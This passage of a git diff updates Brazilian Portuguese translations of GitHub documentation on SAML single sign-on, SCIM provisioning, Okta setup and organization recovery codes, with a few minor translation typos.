+Na primeira vez que um integrante utiliza o SAML SSO para acessar sua organização, {% data variables.product.prodname_dotcom %} cria automaticamente um registro que vincula a sua organização, a conta do integrante no {% data variables.product.product_location %} e a conta do integrante no seu IdP. Você pode visualizar e revogar a identidade de SAML vinculada, as sessões ativas e credenciais autorizadas para integrantes da sua empresa ou conta corporativa. Para obter mais informações consulte "[Visualizar e gerenciar o acesso de SAML de um integrante da sua organização](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization)" e "[Visualizar e gerenciar o acesso de SAML de um usuário à conta corporativa](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)".
 
-If members are signed in with a SAML SSO session when they create a new repository, the default visibility of that repository is private. Otherwise, the default visibility is public. For more information on repository visibility, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+Se os integrantes estiverem conectados com uma sessão SAML SSO, ao criarem um novo repositório, a visibilidade-padrão desse repositório será privada. Caso contrário, a visibilidade-padrão será pública. Para obter mais informações sobre a visibilidade do repositório, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-Organization members must also have an active SAML session to authorize an {% data variables.product.prodname_oauth_app %}. You can opt out of this requirement by contacting {% data variables.contact.contact_support %}. {% data variables.product.product_name %} does not recommend opting out of this requirement, which will expose your organization to a higher risk of account takeovers and potential data loss.
+Os integrantes da organização também devem ter uma sessão de SAML ativa para autorizar um {% data variables.product.prodname_oauth_app %}. Você pode optar por não participar deste requisito entrando em contato com {% data variables.contact.contact_support %}. {% data variables.product.product_name %} não recomenda a exclusão deste requisito, o que irá expor sua organização a um maior risco de aquisições de conta e perda potencial de dados.
 
 {% data reusables.saml.saml-single-logout-not-supported %}
 
-## Supported SAML services
+## Serviços SAML compatíveis
 
 {% data reusables.saml.saml-supported-idps %}
 
-Some IdPs support provisioning access to a {% data variables.product.prodname_dotcom %} organization via SCIM. {% data reusables.scim.enterprise-account-scim %} For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+Alguns IdPs são compatíveis com o o provisionamento de acesso a uma organização {% data variables.product.prodname_dotcom %} via SCIM. {% data reusables.scim.enterprise-account-scim %} Para obter mais informações, consulte "[Sobre o SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
 
-## Adding members to an organization using SAML SSO
+## Adicionar integrantes a uma organização usando SAML SSO
 
-After you enable SAML SSO, there are multiple ways you can add new members to your organization. Organization owners can invite new members manually on {% data variables.product.product_name %} or using the API. For more information, see "[Inviting users to join your organization](/articles/inviting-users-to-join-your-organization)" and "[Members](/rest/reference/orgs#add-or-update-organization-membership)."
+Depois que o SAML SSO é habilitado, há várias maneiras possíveis de adicionar novos integrantes à organização. Os proprietários da organização podem convidar novos integrantes manualmente no {% data variables.product.product_name %} ou usando a API. Para obter mais informações, consulte "[Convidar usuários para juntar-se à sua organização](/articles/inviting-users-to-join-your-organization)" e "[Integrantes](/rest/reference/orgs#add-or-update-organization-membership)".
 
-To provision new users without an invitation from an organization owner, you can use the URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, replacing _ORGANIZATION_ with the name of your organization. For example, you can configure your IdP so that anyone with access to the IdP can click a link on the IdP's dashboard to join your {% data variables.product.prodname_dotcom %} organization.
+Para provisionar novos usuários sem o convite de um proprietário da organização, você pode usar a URL `https://github.com/orgs/ORGANIZATION/sso/sign_up`, substituindo _ORGANIZATION_ pelo nome da sua organização. Por exemplo, é possível configurar o IdP para que qualquer pessoa que tenha acesso possa clicar em um link no painel do IdP para ingressar na sua organização do {% data variables.product.prodname_dotcom %}.
 
-If your IdP supports SCIM, {% data variables.product.prodname_dotcom %} can automatically invite members to join your organization when you grant access on your IdP. If you remove a member's access to your {% data variables.product.prodname_dotcom %} organization on your SAML IdP, the member will be automatically removed from the {% data variables.product.prodname_dotcom %} organization. For more information, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+Se o seu IdP é compatível com o SCIM, o {% data variables.product.prodname_dotcom %} poderá convidar automaticamente integrantes para participarem da sua organização ao conceder acesso no seu IdP. Se você remover o acesso de um integrante à organização do seu {% data variables.product.prodname_dotcom %} no seu IdP de SAML, o integrante será removido automaticamente da organização de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Sobre o SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
 {% data reusables.organizations.team-synchronization %}
 
 {% data reusables.saml.saml-single-logout-not-supported %}
 
-## Further reading
+## Leia mais
 
-- "[About two-factor authentication and SAML single sign-on ](/articles/about-two-factor-authentication-and-saml-single-sign-on)"
-- "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
+- "[Sobre a autenticação de dois fatores e o SAML de logon único](/articles/about-two-factor-authentication-and-saml-single-sign-on)"
+- "[Sobre a autenticação com logon único SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)"
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
index b4df5f9aec..8062da2bf4 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/about-scim.md
@@ -1,6 +1,6 @@
 ---
-title: About SCIM
-intro: 'With System for Cross-domain Identity Management (SCIM), administrators can automate the exchange of user identity information between systems.'
+title: Sobre o SCIM
+intro: 'Com o Sistema para gerenciamento de identidades entre domínios (SCIM, System for Cross-domain Identity Management), os administradores podem automatizar a troca de informações de identidade do usuário entre sistemas.'
 redirect_from:
   - /articles/about-scim
   - /github/setting-up-and-managing-organizations-and-teams/about-scim
@@ -13,20 +13,20 @@ topics:
 
 {% data reusables.enterprise-accounts.emu-scim-note %}
 
-If you use [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) in your organization, you can implement SCIM to add, manage, and remove organization members' access to {% data variables.product.product_name %}. For example, an administrator can deprovision an organization member using SCIM and automatically remove the member from the organization.
+Se você usa [SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on) em sua organização, é possível implementar o SCIM pra adicionar, gerenciar e remover o acesso dos integrantes da organização ao {% data variables.product.product_name %}. Por exemplo, um administrador pode desprovisionar um integrante da organização usando SCIM e remover automaticamente o integrante da organização.
 
-If you use SAML SSO without implementing SCIM, you won't have automatic deprovisioning. When organization members' sessions expire after their access is removed from the IdP, they aren't automatically removed from the organization. Authorized tokens grant access to the organization even after their sessions expire. To remove access, organization administrators can either manually remove the authorized token from the organization or automate its removal with SCIM.
+Se o SAML SSO for usado sem implementação do SCIM, você não terá desprovisionamento automático. Quando as sessões dos integrantes da organização expiram depois que o acesso deles é removido do IdP, eles não podem ser removidos automaticamente da organização. Os tokens autorizados concedem acesso à organização mesmo depois que as respectivas sessões expiram. Para remover o acesso, os administradores da organização podem remover o token autorizado manualmente da organização ou automatizar a remoção com o SCIM.
 
-These identity providers are compatible with the {% data variables.product.product_name %} SCIM API for organizations. For more information, see [SCIM](/rest/reference/scim) in the {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API documentation.
+Estes provedores de identidade são compatíveis com a API de SCIM de {% data variables.product.product_name %} para organizações. Para obter mais informações, consulte [SCIM](/rest/reference/scim) na documentação da API {% ifversion ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.
 - Azure AD
 - Okta
 - OneLogin
 
 {% data reusables.scim.enterprise-account-scim %}
 
-## Further reading
+## Leia mais
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
-- "[Connecting your identity provider to your organization](/articles/connecting-your-identity-provider-to-your-organization)"
-- "[Enabling and testing SAML single sign-on for your organization](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)"
-- "[Viewing and managing a member's SAML access to your organization](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)"
+- "[Sobre gerenciamento de identidade e acesso com o SAML de logon único](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Conectar o provedor de identidade à sua organização](/articles/connecting-your-identity-provider-to-your-organization)"
+- "[Habilitar e testar SAML de logon único para sua organização](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization)"
+- "[Visualizar e gerenciar acesso de SAML de um integrante à sua organização](/github/setting-up-and-managing-organizations-and-teams//viewing-and-managing-a-members-saml-access-to-your-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
index 61ab67a115..d421c6d4f8 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/accessing-your-organization-if-your-identity-provider-is-unavailable.md
@@ -1,6 +1,6 @@
 ---
-title: Accessing your organization if your identity provider is unavailable
-intro: 'Organization administrators can sign into {% data variables.product.product_name %} even if their identity provider is unavailable by bypassing single sign-on and using their recovery codes.'
+title: Acessar sua organização se o provedor de identidade não estiver disponível
+intro: 'Os administradores da organização podem entrar no {% data variables.product.product_name %} mesmo se o provedor de identidade deles estiver indisponível, ignorando o logon único e usando os respectivos códigos de recuperação.'
 redirect_from:
   - /articles/accessing-your-organization-if-your-identity-provider-is-unavailable
   - /github/setting-up-and-managing-organizations-and-teams/accessing-your-organization-if-your-identity-provider-is-unavailable
@@ -9,26 +9,23 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Unavailable identity provider
+shortTitle: Provedor de identidade indisponível
 ---
 
-Organization administrators can use [one of their downloaded or saved recovery codes](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes) to bypass single sign-on. You may have saved these to a password manager, such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+Os administradores da organização podem usar [um de seus códigos de recuperação baixados ou salvos](/articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes) para ignorar o logon único. Você pode ter salvado em um gerenciador de senhas, como [LastPass](https://lastpass.com/) ou [1Password](https://1password.com/).
 
 {% note %}
 
-**Note:** You can only use recovery codes once and you must use them in consecutive order. Recovery codes grant access for 24 hours.
+**Observação:** você pode usar os códigos de recuperação apenas uma vez e deve usá-los em ordem consecutiva. Os códigos de recuperação concedem acesso por 24 horas.
 
 {% endnote %}
 
-1. At the bottom of the single sign-on dialog, click **Use a recovery code** to bypass single sign-on.
-![Link to enter your recovery code](/assets/images/help/saml/saml_use_recovery_code.png)
-2. In the "Recovery Code" field, type your recovery code.
-![Field to enter your recovery code](/assets/images/help/saml/saml_recovery_code_entry.png)
-3. Click **Verify**.
-![Button to verify your recovery code](/assets/images/help/saml/saml_verify_recovery_codes.png)
+1. Na parte inferior da caixa de diálogo de logon único, clique em **Use a recovery code** (Usar um código de recuperação) para ignorar o logon único. ![Link para inserir código de recuperação](/assets/images/help/saml/saml_use_recovery_code.png)
+2. No campo "Recovery Code" (Código de Recuperação), digite seu código de recuperação. ![Campo para inserir código de recuperação](/assets/images/help/saml/saml_recovery_code_entry.png)
+3. Clique em **Verificar**. ![Botão para verificar código de recuperação](/assets/images/help/saml/saml_verify_recovery_codes.png)
 
-After you've used a recovery code, make sure to note that it's no longer valid. You will not be able to reuse the recovery code.
+Depois de ter usado um código de recuperação, certifique-se de anotar que ele não é mais válido. Você não poderá reutilizar o código de recuperação.
 
-## Further reading
+## Leia mais
 
-- "[About identity and access management with SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
+- "[Sobre gerenciamento de identidade e acesso com o SAML SSO](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
index 0c2dba8ac3..168a2d3809 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring SAML single sign-on and SCIM using Okta
-intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) with Okta to automatically manage access to your organization on {% data variables.product.product_location %}.'
+title: Configurar SCIM e o logon único SAML usando o Okta
+intro: 'Você pode usar o logon único (SSO) da Linguagem de Markup da Declaração de Segurança (SAML) e o Sistema de Gerenciamento de Identidades de Domínio Cruzado (SCIM) com o Okta para gerenciar automaticamente o acesso à sua organização em {% data variables.product.product_location %}.'
 redirect_from:
   - /github/setting-up-and-managing-organizations-and-teams/configuring-saml-single-sign-on-and-scim-using-okta
 permissions: Organization owners can configure SAML SSO and SCIM using Okta for an organization.
@@ -9,51 +9,49 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Configure SAML & SCIM with Okta
+shortTitle: Configurar SAML & SCIM com Okta
 ---
 
-## About SAML and SCIM with Okta
+## Sobre SAML e SCIM com Okta
 
-You can control access to your organization on {% data variables.product.product_location %} and other web applications from one central interface by configuring the organization to use SAML SSO and SCIM with Okta, an Identity Provider (IdP).
+Você pode controlar o acesso à sua organização em {% data variables.product.product_location %} e outros aplicativos da web a partir de uma interface central, configurando a organização para usar SAML SSO e o SCIM com Okta, um provedor de identidade (IdP).
 
-SAML SSO controls and secures access to organization resources like repositories, issues, and pull requests. SCIM automatically adds, manages, and removes members' access to your organization on {% data variables.product.product_location %} when you make changes in Okta. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" and "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+O SAML SSO controla e protege o acesso a recursos da organização, como repositórios, problemas e pull requests. O SCIM adiciona, gerencia e remove automaticamente o acesso dos integrantes à sua organização em {% data variables.product.product_location %} quando você fizer alterações no Okta. Para obter mais informações, consulte "[Sobre a identidade e gerenciamento de acesso com logon único SAML](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)" e "[Sobre SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
-After you enable SCIM, the following provisioning features are available for any users that you assign your {% data variables.product.prodname_ghe_cloud %} application to in Okta.
+Após ativar o SCIM, os seguintes recursos de provisionamento estarão disponíveis para qualquer usuário ao qual você atribuir seu aplicativo do {% data variables.product.prodname_ghe_cloud %} no Okta.
 
-| Feature | Description |
-| --- | --- |
-| Push New Users | When you create a new user in Okta, the user will receive an email to join your organization on {% data variables.product.product_location %}. |
-| Push User Deactivation | When you deactivate a user in Okta, Okta will remove the user from your organization on {% data variables.product.product_location %}. |
-| Push Profile Updates | When you update a user's profile in Okta, Okta will update the metadata for the user's membership in your organization on {% data variables.product.product_location %}. |
-| Reactivate Users | When you reactivate a user in Okta, Okta will send an email invitation for the user to rejoin your organization on {% data variables.product.product_location %}. |
+| Funcionalidade                        | Descrição                                                                                                                                                                     |
+| ------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Fazer push de novos usuários          | Ao criar um novo usuário no Okta, o usuário receberá um e-mail para ingressar na sua organização em {% data variables.product.product_location %}.                            |
+| Fazer push de desativações de usuário | Ao desativar um usuário no Okta, ele removerá o usuário da sua organização em {% data variables.product.product_location %}.                                                  |
+| Fazer push das atualização de perfil  | Ao atualizar o perfil de um usuário no Okta, ele irá atualizar os metadados para a associação do usuário na sua organização em {% data variables.product.product_location %}. |
+| Reativar usuários                     | Ao reativar um usuário no Okta, ele enviará um convite por e-mail para o usuário voltar a participar da sua organização em {% data variables.product.product_location %}.     |
 
-## Prerequisites
+## Pré-requisitos
 
 {% data reusables.saml.use-classic-ui %}
 
-## Adding the {% data variables.product.prodname_ghe_cloud %} application in Okta
+## Adicionar o aplicativo {% data variables.product.prodname_ghe_cloud %} no Okta
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.add-okta-application %}
 {% data reusables.saml.search-ghec-okta %}
-4. To the right of "Github Enterprise Cloud - Organization", click **Add**.
-  ![Clicking "Add" for the {% data variables.product.prodname_ghe_cloud %} application](/assets/images/help/saml/okta-add-ghec-application.png)
+4. À direita do "Github Enterprise Cloud - Organização", clique em **Adicionar**. ![Clicar em "Adicionar" para o aplicativo {% data variables.product.prodname_ghe_cloud %}](/assets/images/help/saml/okta-add-ghec-application.png)
 
-5. In the **GitHub Organization** field, type the name of your organization on {% data variables.product.product_location %}. For example, if your organization's URL is https://github.com/octo-org, the organization name would be `octo-org`.
-  ![Type GitHub organization name](/assets/images/help/saml/okta-github-organization-name.png)
+5. No campo **Organização do GitHub**, digite o nome da sua organização em {% data variables.product.product_location %}. Por exemplo, se a URL da sua organização for https://github.com/octo-org, o nome da organização será `octo-org`. ![Digite o nome da organização do GitHub](/assets/images/help/saml/okta-github-organization-name.png)
 
-6. Click **Done**.
+6. Clique em **Cpncluído**.
 
-## Enabling and testing SAML SSO
+## Habilitar e e testar o SAML SSO
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.okta-applications-click-ghec-application-label %}
 {% data reusables.saml.assign-yourself-to-okta %}
 {% data reusables.saml.okta-sign-on-tab %}
 {% data reusables.saml.okta-view-setup-instructions %}
-6. Enable and test SAML SSO on {% data variables.product.prodname_dotcom %} using the sign on URL, issuer URL, and public certificates from the "How to Configure SAML 2.0" guide. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+6. Habilitar e testar o SAML SSO no {% data variables.product.prodname_dotcom %} usando a URL de logon, a URL do emissor e os certificados públicos da aba "Como configurar o SAML 2.0". Para obter mais informações, consulte "[Habilitar e testar logon único de SAML para sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)".
 
-## Configuring access provisioning with SCIM in Okta
+## Configurar provisionamento de acesso com SCIM em Okta
 
 {% data reusables.saml.okta-dashboard-click-applications %}
 {% data reusables.saml.okta-applications-click-ghec-application-label %}
@@ -62,25 +60,22 @@ After you enable SCIM, the following provisioning features are available for any
 {% data reusables.saml.okta-enable-api-integration %}
 
 
-6. Click **Authenticate with Github Enterprise Cloud - Organization**.
-  !["Authenticate with Github Enterprise Cloud - Organization" button for Okta application](/assets/images/help/saml/okta-authenticate-with-ghec-organization.png)
+6. Clique em **Efetuar a autenticação com Github Enterprise Cloud - Organização**. ![Botão "Efetuar a autenticação com Github Enterprise Cloud - Organização" para o aplicativo Okta](/assets/images/help/saml/okta-authenticate-with-ghec-organization.png)
 
-7. To the right of your organization's name, click **Grant**.
-  !["Grant" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
+7. À direita do nome da sua organização, clique em **Conceder**. ![Botão "Conceder" para autorizar a integração do SCIM do Okta para acessar a organização](/assets/images/help/saml/okta-scim-integration-grant-organization-access.png)
 
   {% note %}
 
-  **Note**: If you don't see your organization in the list, go to `https://github.com/orgs/ORGANIZATION-NAME/sso` in your browser and authenticate with your organization via SAML SSO using your administrator account on the IdP. For example, if your organization's name is `octo-org`, the URL would be `https://github.com/orgs/octo-org/sso`. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)."
+  **Observação**: Se você não vir a sua organização na lista, acesse `https://github.com/orgs/ORGANIZATION-NAME/sso` no seu navegador e efetue a autenticação com sua organização por meio do SAML SSO usando sua conta de administrador no IdP. Por exemplo, se o nome da sua organização for `octo-org`, a URL seria `https://github.com/orgs/octo-org/sso`. Para obter mais informações, consulte "[Sobre a autenticação com logon único SAML](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)".
 
   {% endnote %}
-1. Click **Authorize OktaOAN**.
-  !["Authorize OktaOAN" button for authorizing Okta SCIM integration to access organization](/assets/images/help/saml/okta-scim-integration-authorize-oktaoan.png)
+1. Clique em **Autorizar o OktaOAN**. ![Botão "Autorizar o OktaOAN" para autorizar a integração do SCIM do Okta para acessar a organização](/assets/images/help/saml/okta-scim-integration-authorize-oktaoan.png)
 {% data reusables.saml.okta-save-provisioning %}
 {% data reusables.saml.okta-edit-provisioning %}
 
-## Further reading
+## Leia mais
 
-- "[Configuring SAML single sign-on for your enterprise account using Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)"
-- "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#enabling-team-synchronization-for-okta)"
-- [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation
-- [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation
+- "[Configurar o logon único SAML para a sua conta corporativa usando o Okta](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta)"
+- "[Gerenciar a sincronização de equipe para sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization#enabling-team-synchronization-for-okta)"
+- [Compreender o SAML](https://developer.okta.com/docs/concepts/saml/) na documentação do Okta
+- [Entender o SCIM](https://developer.okta.com/docs/concepts/scim/) na documentação do Okta
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
index 6917f58951..f09c77646a 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/connecting-your-identity-provider-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting your identity provider to your organization
-intro: 'To use SAML single sign-on and SCIM, you must connect your identity provider to your {% data variables.product.product_name %} organization.'
+title: Conectar o provedor de identidade à organização
+intro: 'Para usar o logon único SAML e o SCIM, é preciso conectar o provedor de identidade à organização do {% data variables.product.product_name %}.'
 redirect_from:
   - /articles/connecting-your-identity-provider-to-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization
@@ -9,21 +9,21 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Connect an IdP
+shortTitle: Conectar um IdP
 ---
 
-When you enable SAML SSO for your {% data variables.product.product_name %} organization, you connect your identity provider (IdP) to your organization. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)."
+Ao habilitar o SAML SSO para sua organização de {% data variables.product.product_name %}, você conecta seu provedor de identidade (IdP) à sua organização. Para obter mais informações, consulte "[Habilitar e testar logon único de SAML para sua organização](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)".
 
-You can find the SAML and SCIM implementation details for your IdP in the IdP's documentation.
-- Active Directory Federation Services (AD FS) [SAML](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services)
-- Azure Active Directory (Azure AD) [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) and [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial)
-- Okta [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) and [SCIM](http://developer.okta.com/standards/SCIM/)
-- OneLogin [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) and [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e)
-- PingOne [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector)
-- Shibboleth [SAML](https://wiki.shibboleth.net/confluence/display/IDP30/Home)
+Você pode encontrar as informações de implementação do SAML e SCIM para seu IdP na documentação do IdP.
+- [SAML](https://docs.microsoft.com/windows-server/identity/active-directory-federation-services) do Active Directory Federation Services (AD FS)
+- [SAML](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-tutorial) e [SCIM](https://docs.microsoft.com/azure/active-directory/active-directory-saas-github-provisioning-tutorial) do Azure Active Directory (Azure AD)
+- [SAML](http://saml-doc.okta.com/SAML_Docs/How-to-Configure-SAML-2.0-for-Github-com.html) e [SCIM](http://developer.okta.com/standards/SCIM/) do Okta
+- [SAML](https://onelogin.service-now.com/support?id=kb_article&sys_id=2929ddcfdbdc5700d5505eea4b9619c6) e [SCIM](https://onelogin.service-now.com/support?id=kb_article&sys_id=5aa91d03db109700d5505eea4b96197e) do OneLogin
+- [SAML](https://support.pingidentity.com/s/marketplace-integration/a7i1W0000004ID3QAM/github-connector) do PingOne
+- [SAML](https://wiki.shibboleth.net/confluence/display/IDP30/Home) do Shibboleth
 
 {% note %}
 
-**Note:** {% data variables.product.product_name %} supported identity providers for SCIM are Azure AD, Okta, and OneLogin. {% data reusables.scim.enterprise-account-scim %} For more information about SCIM, see "[About SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)."
+**Observação:** os provedores de identidade aceitos pelo {% data variables.product.product_name %} para SCIM são Azure AD, Okta e OneLogin. {% data reusables.scim.enterprise-account-scim %} Para obter mais informações sobre o SCIM, consulte "[Sobre o SCIM](/organizations/managing-saml-single-sign-on-for-your-organization/about-scim)".
 
 {% endnote %}
diff --git a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
index 01040de16f..d11e2b9bd1 100644
--- a/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
+++ b/translations/pt-BR/content/organizations/managing-saml-single-sign-on-for-your-organization/downloading-your-organizations-saml-single-sign-on-recovery-codes.md
@@ -1,6 +1,6 @@
 ---
-title: Downloading your organization's SAML single sign-on recovery codes
-intro: 'Organization administrators should download their organization''s SAML single sign-on recovery codes to ensure that they can access {% data variables.product.product_name %} even if the identity provider for the organization is unavailable.'
+title: Baixar os códigos de recuperação de logon único de SAML da organização
+intro: 'Os administradores da organização devem baixar os códigos de recuperação de logon único de SAML dela para garantir que possam acessar o {% data variables.product.product_name %} mesmo se o provedor de identidade da organização não estiver disponível.'
 redirect_from:
   - /articles/downloading-your-organization-s-saml-single-sign-on-recovery-codes
   - /articles/downloading-your-organizations-saml-single-sign-on-recovery-codes
@@ -10,28 +10,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Download SAML recovery codes
+shortTitle: Fazer o download de códigos de recuperação SAML
 ---
 
-Recovery codes should not be shared or distributed. We recommend saving them with a password manager such as [LastPass](https://lastpass.com/) or [1Password](https://1password.com/).
+Os códigos de recuperação não devem ser compartilhados ou distribuídos. Recomendamos salvá-los com um gerenciador de senhas como [LastPass](https://lastpass.com/) ou [1Password](https://1password.com/).
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.security %}
-5. Under "SAML single sign-on", in the note about recovery codes, click **Save your recovery codes**.
-![Link to view and save your recovery codes](/assets/images/help/saml/saml_recovery_codes.png)
-6. Save your recovery codes by clicking **Download**, **Print**, or **Copy**.
-![Buttons to download, print, or copy your recovery codes](/assets/images/help/saml/saml_recovery_code_options.png)
+5. Em "SAML single sign-on" (Logon único de SAML), na observação sobre código de recuperação, clique em **Save your recovery codes** (Salvar os códigos de recuperação). ![Link para exibir e salvar os códigos de recuperação](/assets/images/help/saml/saml_recovery_codes.png)
+6. Salve seus códigos de recuperação clicando em **Download** (Baixar), **Print** (Imprimir) ou **Copy** (Copiar). ![Botões para baixar, imprimir ou copiar os códigos de recuperação](/assets/images/help/saml/saml_recovery_code_options.png)
 
   {% note %}
 
-  **Note:** Your recovery codes will help get you back into {% data variables.product.product_name %} if your IdP is unavailable. If you generate new recovery codes the recovery codes displayed on the "Single sign-on recovery codes" page are automatically updated.
+  **Observação:** os códigos de recuperação ajudam você a retornar para o {% data variables.product.product_name %} caso seu IdP fique indisponível. Se você gerar novos códigos de recuperação, os exibidos na página "Códigos de recuperação de logon único" serão atualizados automaticamente.
 
   {% endnote %}
 
-7. Once you use a recovery code to regain access to {% data variables.product.product_name %}, it cannot be reused. Access to {% data variables.product.product_name %} will only be available for 24 hours before you'll be asked to sign in using single sign-on.
+7. Cada código de recuperação só pode ser usado uma vez para recuperar o acesso ao {% data variables.product.product_name %}. O acesso ao {% data variables.product.product_name %} só ficará disponível 24 horas antes de você fazer login usando o login único.
 
-## Further reading
+## Leia mais
 
-- "[About identity and access management with SAML single sign-on](/articles/about-identity-and-access-management-with-saml-single-sign-on)"
